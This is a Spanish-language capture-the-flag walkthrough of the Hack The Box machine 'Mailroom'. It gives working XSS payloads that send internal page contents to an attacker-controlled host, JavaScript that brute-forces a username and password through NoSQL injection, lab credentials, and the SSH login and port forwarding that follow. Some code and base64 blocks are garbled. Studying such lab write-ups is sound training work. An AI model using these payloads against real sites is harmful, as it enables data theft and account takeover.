Mailroom

nmap

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.209
sudo: unable to resolve host kali: Name or service not known
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 21:05 CEST
Initiating SYN Stealth Scan at 21:05
Scanning 10.10.11.209 [65535 ports]
Discovered open port 22/tcp on 10.10.11.209
Discovered open port 80/tcp on 10.10.11.209
Completed SYN Stealth Scan at 21:05, 12.63s elapsed (65535 total ports)
Nmap scan report for 10.10.11.209
Host is up, received user-set (0.066s latency).
Scanned at 2023-06-14 21:05:12 CEST for 13s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds
       Raw packets sent: 65586 (2.886MB) | Rcvd: 65586 (2.623MB)
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 21:06 CEST
Nmap scan report for 10.10.11.209
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
                  OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
| ssh-hostkey:
3072 94bb2ffcaeb9b182afd789811aa76ce5 (RSA)
256 821beb758b9630cf946e7957d9ddeca7 (ECDSA)
_ 256 19fb45feb9e4275de5bbf35497dd68cf (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| http-title: The Mail Room
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
```

Nmap done: 1 IP address (1 host up) scanned in 10.89 seconds

/etc/hosts

```
vim /etc/hosts
10.10.11.209 mailroom.htb
```

En la web hay un formulario de contacto en la ruta /contact.php que es vulnerable a XSS, pero de momento no podemos hacer nada, así que seguimos enumerando.

Realizamos un escaneo de los directorios de la web intentando encontrar alguna ruta interesante, pero no podremos acceder a la gran mayoría.

```
dirsearch -u http://mailroom.htb -t 200
_|. _ _ _ _ _ | v0.4.2
(_||| _) (/_(_|| (_| )
```

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/mailroom.htb/_23-06-14_21-09-32.txt

Error Log: /root/.dirsearch/logs/errors-23-06-14_21-09-32.log

Target: http://mailroom.htb/

```
[21:09:32] Starting:
              ] 1%
                     183/10927
                                      130/s
                                                job:1/1 errors:0^[
[21:09:36] 403 - 277B - /.ht wsr.txt
[21:09:36] 403 - 277B - /.htaccess.bak1
[21:09:36] 403 - 277B - /.htaccess.save
[21:09:36] 403 - 277B - /.htaccess.sample
[21:09:36] 403 - 277B - /.htaccess.orig
[21:09:36] 403 - 277B - /.htaccess_extra
[21:09:36] 403 - 277B - /.htaccess orig
[21:09:36] 403 - 277B - /.htaccess sc
[21:09:36] 403 - 277B - /.htaccessBAK
[21:09:36] 403 - 277B - /.htaccessOLD2
[21:09:36] 403 - 277B - /.htaccessOLD
[21:09:36] 403 - 277B - /.htm
[21:09:36] 403 - 277B - /.html
[21:09:36] 403 - 277B - /.htpasswd test
[21:09:36] 403 - 277B - /.htpasswds
[21:09:36] 403 - 277B - /.httr-oauth
[21:09:38] 301 - 309B - /js -> http://mailroom.htb/js/
[21:09:40] 200 - OB - /README.md
[21:09:42] 200 - 7KB - /about.php
[21:09:48] 301 - 313B - /assets -> http://mailroom.htb/assets/
[21:09:48] 403 - 277B - /assets/
[21:09:51] 200 - 4KB - /contact.php
[21:09:52] 301 - 310B - /css -> http://mailroom.htb/css/
[21:09:57] 200 - 8KB - /index.php
[21:09:57] 200 - 8KB - /index.php/login/
[21:09:57] 301 - 317B - /javascript -> http://mailroom.htb/javascript/
[21:09:57] 403 - 277B - /js/
[21:10:06] 403 - 277B - /server-status/
[21:10:06] 403 - 277B - /server-status
[21:10:09] 403 - 277B - /template/
[21:10:09] 403 - 277B - /template
```

Task Completed

Mediante ffuf enumeramos subdominios de la máquina.

Encontramos que hay un subdominio *git* así que lo añadimos al /etc/hosts. Si visitamos el subdominio encontraremos que se trata de Gitea.

dirsearch -u http://git.mailroom.htb -t 200 -x 500

dirsearch

dirsearch -u http://git.mailroom.htb -t 200 -x 500

```
_|. _ _ _ _ _ _ v0.4.2
(_||| _) (/_(_|| (_| )
```

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/git.mailroom.htb/_23-06-14_21-15-46.txt

Error Log: /root/.dirsearch/logs/errors-23-06-14_21-15-46.log

Target: http://git.mailroom.htb/

[21:15:46] Starting:

```
[21:16:09] 200 - 1KB - /.well-known/openid-configuration
[21:16:41] 303 - 38B - /admin -> /user/login
[21:16:44] 303 - 38B - /admin/?/login -> /user/login
[21:16:44] 303 - 38B - /admin/ -> /user/login
[21:17:09] 200 - 15KB - /administrator/
[21:17:09] 200 - 15KB - /administrator
[21:17:13] 200 - 768B - /api/swagger
[21:17:47] 303 - 41B - /explore -> /explore/repos
[21:17:48] 301 - 58B - /favicon.ico -> /assets/img/favicon.png
[21:17:51] 200 - 14KB - /explore/repos
[21:18:03] 303 - 38B - /issues -> /user/login
[21:18:50] 403 - 281B - /server-status/
[21:18:50] 403 - 281B - /server-status
[21:18:58] 200 - 267B - /sitemap.xml
[21:19:12] 200 - 9KB - /user/login/
[21:19:13] 401 - 50B - /v2
[21:19:13] 401 - 50B - /v2/
[21:19:16] 401 - 50B - /v2/_catalog
```

Task Completed

</urlset>

Primer Directorio

Si visitamos el primer directorio podremos ver si hay algún repositorio del usuario administrador, pero no será el caso, podemos intuir que si conocemos algún usuario podremos ver algún repositorio sin necesidad de saber alguna contraseña. Si volvemos a la web principal en la ruta /about.php encontraremos 4 posibles usuarios, así que lo que podemos hacer es probar si tienen algún repositorio.

This XML file does not appear to have any style information associated with it. The document tree is shown below.

```
<url>
<url>
<loc>http://git.mailroom.htb/administrator</loc>
<lastmod>2023-01-12T10:37:30Z</lastmod>
</url>
<url>
<loc>http://git.mailroom.htb/matthew</loc>
<lastmod>2023-01-12T10:55:22Z</lastmod>
</url>
<url>
<url>
<url>
<loc>http://git.mailroom.htb/tristan</loc>
<lastmod>2023-01-12T10:57:44Z</lastmod>
</url>
<url>
<loc>http://git.mailroom.htb/tristan</loc>
<lastmod>2023-01-12T10:57:44Z</lastmod>
</url>
</url>
```

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">

burpsuite

POST /contact.php HTTP/1.1

Host: mailroom.htb

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

Origin: http://mailroom.htb

Connection: close

Referer: http://mailroom.htb/contact.php

Upgrade-Insecure-Requests: 1

email=test%40test&title=test&message=test

Realizamos una petición al subdominio *staff-review-panel.mailroom.htb* para que nos envíe el contenido de la web en base64.

%3Cscript%3Evar%20url%20%3D%20%22http%3A%2F%2Fstaff-review-

panel.mailroom.htb%2Findex.php%22%3B%0Avar%20attacker%20%3D%20%22http%3A%2F%2F10.10.14.96%2Fexfil%22%3B%0Avar%2 0xhr%20%20%3D%20new%20XMLHttpRequest%28%29%3B%0Axhr.onreadystatechange%20%3D%20function%28%29%20%7B%0A%20%20%20if%20%28xhr.readyState%20%3D%3D%20XMLHttpRequest.DONE%29%20%7B%0A%20%20%20%20%20%20%20%20%20fetch%28attacker%20%2B%20%22%3F%22%20%2B%20encodeURI%28btoa%28xhr.responseText%29%29%29%0A%20%20%20%20%20%7D%0A%7D%0Axhr.open%28%27GET%27%2C%20url%2C%20true%29%3B%0Axhr.send%28null%29%3B%3C%2Fscript%3E

sudo python3 -m http.server 80

mail

```
// Send an email to the user with the 2FA token $to = $user['email']; $subject = '2FA Token'; $message = 'Click on this link to authenticate: <a href="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php?token="http://staff-review-panel.mailroom.htb/auth.php."htb/auth.php.auth.php.auth.php.auth.php.auth.php.auth.php.auth.php.auth.php.auth.php.a
```

Abrimos el Burpsuite e interceptamos una petición del formulario de la web principal.

Realizamos una petición al subdominio *staff-review-panel.mailroom.htb* para que nos envíe el contenido de la web en base64.

#Importante darle a ver mail para ejecutar el XXS

http://mailroom.htb/inquiries/356709ead17a0e397be96e9078f7fc29.html

```
<script>var url = "http://staff-review-panel.mailroom.htb/index.php";
var attacker = "http://10.10.16.50/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
   if (xhr.readyState == XMLHttpRequest.DONE) {
      fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
}
xhr.open('GET', url, true);
xhr.send(null);
```

sudo python3 -m http.server 80

10.10.11.209 - - [20/Jun/2023 19:13:21] "GET /exfil? CjwhRE9DVFIQRSBodG1sPgo8aHRtbCBsYW5nPSJIbil+Cgo8aGVhZD4KICA8bWV0YSBjaGFyc2V0PSJ1dGYtOClgLz4KICA8bWV0Y-SBuYW1IPSJ2aWV3cG9ydCigY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxIPTEsIHNocmluay10by1ma-XQ9bm8ilC8+CiAqPG1ldGEgbmFtZT0iZGVzY3|pcHRpb24ilGNvbnRlbnQ9lilgLz4KlCA8bWV0YSBuYW1|PS|hdXRob3lilGNvbnRlbn-Q9lilgLz4KlCA8dGl0bGU+SW5xdWlyeSBSZXZpZXcgUGFuZWw8L3RpdGxlPgoglDwhLS0gRmF2aWNvbi0tPgoglDxsaW5rlHJlbD0i-aWNvbilgdHlwZT0iaW1hZ2UveC1pY29uliBocmVmPSJhc3NldHMvZmF2aWNvbi5pY28ilC8+CiAgPCEtLSBCb290c3RyYXAgaWNv-bnMtLT4klCA8bGluayBocmVmPSJmb250L2Jvb3RzdHJhcC1pY29ucy5jc3MilHJlbD0ic3R55bGVzaGVldClgLz4klCA8lS0tlENvcmUgdGhlbWUgQ1NTIChpbmNsdWRlcyBCb290c3RyYXApLS0+CiAgPGxpbmsgaHJlZj0iY3NzL3N0eWxlcy5jc3MilHJlbD0ic3R5bGVzaGVld-ClqLz4KPC9oZWFkPgoKPGJvZHk+CiAgPGRpdiBjbGFzcz0id3JhcHBlciBmYWRISW5Eb3dulj4KlCAgIDxkaXYgaWQ9lmZvcm1Db250 ZW50lj4KCiAglCAglDwhLS0gTG9naW4gRm9ybSAtLT4KlCAglCAgPGZvcm0gaWQ9J2xvZ2luLWZvcm0nlG1ldGhvZD0iUE9TVCI+ CiAglCAglCAgPGgyPlBhbmVslExvZ2luPC9oMj4KlCAglCAglCA8aW5wdXQgcmVxdWlyZWQgdHlwZT0idGV4dClgaWQ9lmVtYWlsli-BjbGFzcz0iZmFkZUlulHNlY29uZClgbmFtZT0iZW1haWwilHBsYWNlaG9sZGVyPSJFbWFpbCl+CiAglCAglCAgPGlucHV0lHJlcZVpcm-VkIHR5cGU9lnBhc3N3b3JkliBpZD0icGFzc3dvcmQilGNsYXNzPSJmYWRISW4gdGhpcmQilG5hbWU9lnBhc3N3b3JkliBwbGFjZWhvb-GRIcj0iUGFzc3dvcmQiPgoglCAqlCAqlDxpbnB1dCB0eXBIPSJzdWJtaXQilGNsYXNzPSJmYWRISW4qZm91cnRoliB2YWx1ZT0iTG9nIElulj4KlCAglCAglCA8cCBoaWRkZW4gaWQ9lm1lc3NhZ2UilHN0eWxlPSJjb2xvcjoglzhGOEY4Ril+T25seSBzaG93lHRoaXMgbGluZSB-pZiByZXNwb25zZSAtlGVkaXQgY29kZTwvcD4KlCAglCAgPC9mb3JtPgoKlCAglCAgPCEtLSBSZW1pbmQgUGFzc293cmQgLS0+CiA-glCAglDxkaXYgaWQ9lmZvcm1Gb290ZXliPgoglCAglCAglDxhlGNsYXNzPSJ1bmRlcmxpbmVlb3ZlcilgaHJlZj0icmVnaXN0ZXluaHRtb-ČI+Q3JIYXRIIGFuIGFjY291bnQ8L2E+CiAgICAgIDwvZGI2PgoKICAgIDwvZGI2PgogIDwvZGI2PgoKICA8ISOtiEJvb3RzdHJhcCBjb3JIIEpTLSO+CiAgPHNjcmlwdCBzcmM9lmpzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzlj48L3NjcmlwdD4KCiAgPCEtLSBMb2dpbiBGb3JtL-S0+CiAgPHNjcmlwdD4KlCAglC8vlEdldCB0aGUgZm9ybSBlbGVtZW50CiAglCBjb25zdCBmb3JtlD0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ2luLWZvcm0nKTsKCiAglCAvLyBBZGQgYSBzdWJtaXQgZXZlbnQgbGlzdGVuZXlgdG8gdGhllGZvcm0KlCAglGZvcm-OuYWRkRXŹlbnRMaXN0ZW5lcignc3VibWl0JywgZXZlbnQgPT4gewoglCAglCAvLyBQcmV2ZW50lHRoZSBkZWZhdWx0lGZvcm0gc-3VibWlzc2lvbgoglCAglCBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwoKlCAglCAgLY8gU2VuZCBhlFBPU1QgcmVxdWVzdCB0byB0 a G U g b G 9 n a W 4 u c G h w IHN j c m l w d A o g I C A g I C B m Z X R j a C g n L 2 F 1 d G g u c G h w J y w g e w o g I C AICAglGJvZHk6lG5ldyBVUkxTZWFyY2hQYXJhbXMobmV3lEZvcm1EYXRhKGZvcm0pKSwKlCAglCAglCBoZWFkZXJzOiB7lCdDb250Z-W50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyB9CiAglCAglH0pLnRoZW4ocmVzcG9uc2UgPT4g-ewoglCAglCAglHJldHVybiByZXNwb25zZS5qc29uKCk7CgoglCAglCB9KS50aGVuKGRhdGEgPT4gewoglCAglCAglCAglCBvLERpc3BsYXkgdĞhlIG5hbWUqYW5klG1lc3NhZ2UgaW4gdGhlIHBhZ2UKlCAglCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbWVzc2FnZ-ScpLnRleHRDb250ZW50ID0qZGF0YS5tZXNzYWdlOwoqlCAqlCAqlCAvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVllD0gJyc7CiAglCAglCAgZG9jdW1lbnQuZ2V0RWxlbWVudĔJ5SWQoJ21lc3NhZ2UnKS5yZW1vdmVBdHRyaWJ1dGUolmhpZ-ydCgnRXJyb3l6lCcgKyBlcnJvcik7CiAglCAglH0pOwoglCAgfSk7CiAgPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg== HTTP/1.1" 404

Este sería el contenido del index.php del subdominio staff-review-panel.mailroom.htb.

```
</head>
<body>
 <div class="wrapper fadeInDown">
  <div id="formContent">
    <!-- Login Form -->
    <form id='login-form' method="POST">
     <h2>Panel Login</h2>
     <input required type="text" id="email" class="fadeln second" name="email" placeholder="Email">
     <input required type="password" id="password" class="fadeIn third" name="password" placeholder="Password">
     <input type="submit" class="fadeIn fourth" value="Log In">
     Only show this line if response - edit code
    </form>
   <!-- Remind Passowrd -->
    <div id="formFooter">
     <a class="underlineHover" href="register.html">Create an account</a>
  </div>
 </div>
 <!-- Bootstrap core JS-->
 <script src="js/bootstrap.bundle.min.js"></script>
 <!-- Login Form-->
 <script>
  // Get the form element
  const form = document.getElementById('login-form');
  // Add a submit event listener to the form
  form.addEventListener('submit', event => {
   // Prevent the default form submission
   event.preventDefault();
   // Send a POST request to the login.php script
   fetch('/auth.php', {
     method: 'POST'
     body: new URLSearchParams(new FormData(form)),
     headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
    }).then(response => {
     return response.json();
   }).then(data => {
     // Display the name and message in the page document.getElementByld('message').textContent = data.message;
     document.getElementById('password').value = ";
     document.getElementById('message').removeAttribute("hidden");
    }).catch(error => {
     // Display an error message
//alert('Error: ' + error);
   });
  });
 </script>
</body>
</html>
```

intrusión

sudo python3 -m http.server 80

Ahora con *Burpsuite* interceptamos una petición del directorio /contact.php y en el título añadimos el siguiente script URL encodeando todos los caracteres.

```
powned.js

var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function() {
   fetch("http://10.10.16.50/out?" + encodeURI(btoa(this.responseText)));
```

http.send("email[\$ne]=1&password[\$ne]=admin");

El script escrito en JavaScript, lo que hace es enviar una petición por POST a la ruta /auth.php intentando realizar un NO-SQLI y enviando la información en base64 hacia nuestro servidor.

```
<script href=http://10.10.16.50/powned.js></script>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~request
POST /contact.php HTTP/1.1
Host: mailroom.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://mailroom.htb
Connection: close
Referer: http://mailroom.htb/contact.php
Upgrade-Insecure-Requests: 1
email=test%40test&title=test&message=<script src="http://10.10.16.50/powned.js"></script>
 ~~~~~~~~response
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.209 - - [20/Jun/2023 19:49:44] "GET /powned.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Jun/2023 19:49:57] "GET /powned.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Jun/2023 19:49:57] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:49:57] "GET /out?
eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6lkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6lkNoZWNrlHI-
```

Después de algunos intentos recibimos los datos de dicha petición, por la respuesta intuimos que es vulnerable a NO-SQLI.

```
~~~~~~~terminal
```

vdXlgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ== HTTP/1.1" 404 -

[&]quot;eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6lkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6lkNoZWNrl-HlvdXlgaW5ib3ggZm9yIGFuIGVtYWIsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ==" | base64 -d

^{{&}quot;success":false,"message":"Invalid input detected"}{"success":true,"message":"Check your inbox for an email with your 2FA token"}

Probamos a hacer lo mismo, pero esta vez tramitando la petici \acute{C}^3 n con la etiqueta de "script" que apunte a nuestro script.

users

Connection: close

Referer: http://mailroom.htb/contact.php

Upgrade-Insecure-Requests: 1

```
script.js
```

```
async function callAuth(mail) {
  var content = await fetch("http://staff-review-panel.mailroom.htb/auth.php", {
     "headers":
        "content-type": "application/x-www-form-urlencoded"
     "body": "email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc",
     "method": "POST
  }).then(function (res) {
     return res.text();
  }):
  return { d: mail, c: /"success":true/.test(content) }
function notify(pass) {
  fetch("http://10.10.16.50/out?"+pass, {});
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
  for (var i = 0; i < chars.length; i++) {
     callAuth(chars[i]+mail).then(function (item) {
       if (item.c) {
          notify(item.d);
          ~", item.d);
     });
  }
cal(chars, "");
```

Este es el script en JavaScript que utilizaremos para descubrir el nombre de usuario mediante el NO-SQL

```
email=test%40test&title=test&message=<script src="http://10.10.16.50/userpownd.js"></script>
~~~~~~~~~~response
0.10.11.209 - - [20/Jun/2023 19:56:47] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:47] "GET /out?n HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:56:47] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:47] "GET /out?an HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:56:48] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:48] "GET /out?tan HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:56:54] "GET /powned2.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Jun/2023 19:56:56] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:56] "GET /out?n HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:56:58] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:58] "GET /out?an HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:57:32] "GET /powned2.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Jun/2023 19:57:41] "GET /powned2.js HTTP/1.1" 200 -
Volvemos a hacer lo mismo pero con la contraseña.
~~~~~~~~request
email=test%40test&title=test&message=<script src="http://10.10.16.50/passpwnd.js"></script>
30times
GET /inquiries/1bed1a2cee0d4f1d9181602053a06034.html HTTP/1.1
Host: mailroom.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
```

10.10.11.209 - - [25/Apr/2023 16:20:32] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:20:44] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:20:45] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:20:45] "GET /out?6 HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:21:18] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:21:18] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:21:18] "GET /out?69 HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:21:45] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:22:04] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:22:05] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:22:05] "GET /out?69t HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:22:37] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:22:38] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:22:38] "GET /out?69tr HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:22:55] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:23:07] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:23:08] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:23:08] "GET /out?69tri HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:23:28] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:23:29] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:23:29] "GET /out?69tris HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:23:41] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:23:42] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:23:42] "GET /out?69trisR HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:24:23] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:24:35] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:24:36] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:24:36] "GET /out?69trisRu HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:24:52] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:24:53] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:24:53] "GET /out?69trisRul HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:25:08] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:25:09] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:25:09] "GET /out?69trisRule HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:25:22] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:25:24] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:25:24] "GET /out?69trisRulez HTTP/1.1" 404 -10.10.11.209 - - [25/Apr/2023 16:25:37] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:25:46] "GET /passpwned.js HTTP/1.1" 200 -10.10.11.209 - - [25/Apr/2023 16:25:48] code 404, message File not found 10.10.11.209 - - [25/Apr/2023 16:25:48] "GET /out?69trisRulez! HTTP/1.1" 404 -

Despues de muchos envios obtenemos la contraseƱa.

#Go creed´s username → tristan passwd → 69trisRulez!

ssh tristan@10.10.11.209

priv_escalation

Realizamos un *Port Forwarding* para poder acceder al panel del subdominio.

Añadimos el nombre de dominio y subdominios a nuestra IP local.

cat /etc/hosts

127.0.0.1 mailroom.htb git.mailroom.htb staff-review-panel.mailroom.htb

http://staff-review-panel.mailroom.htb:8080/index.php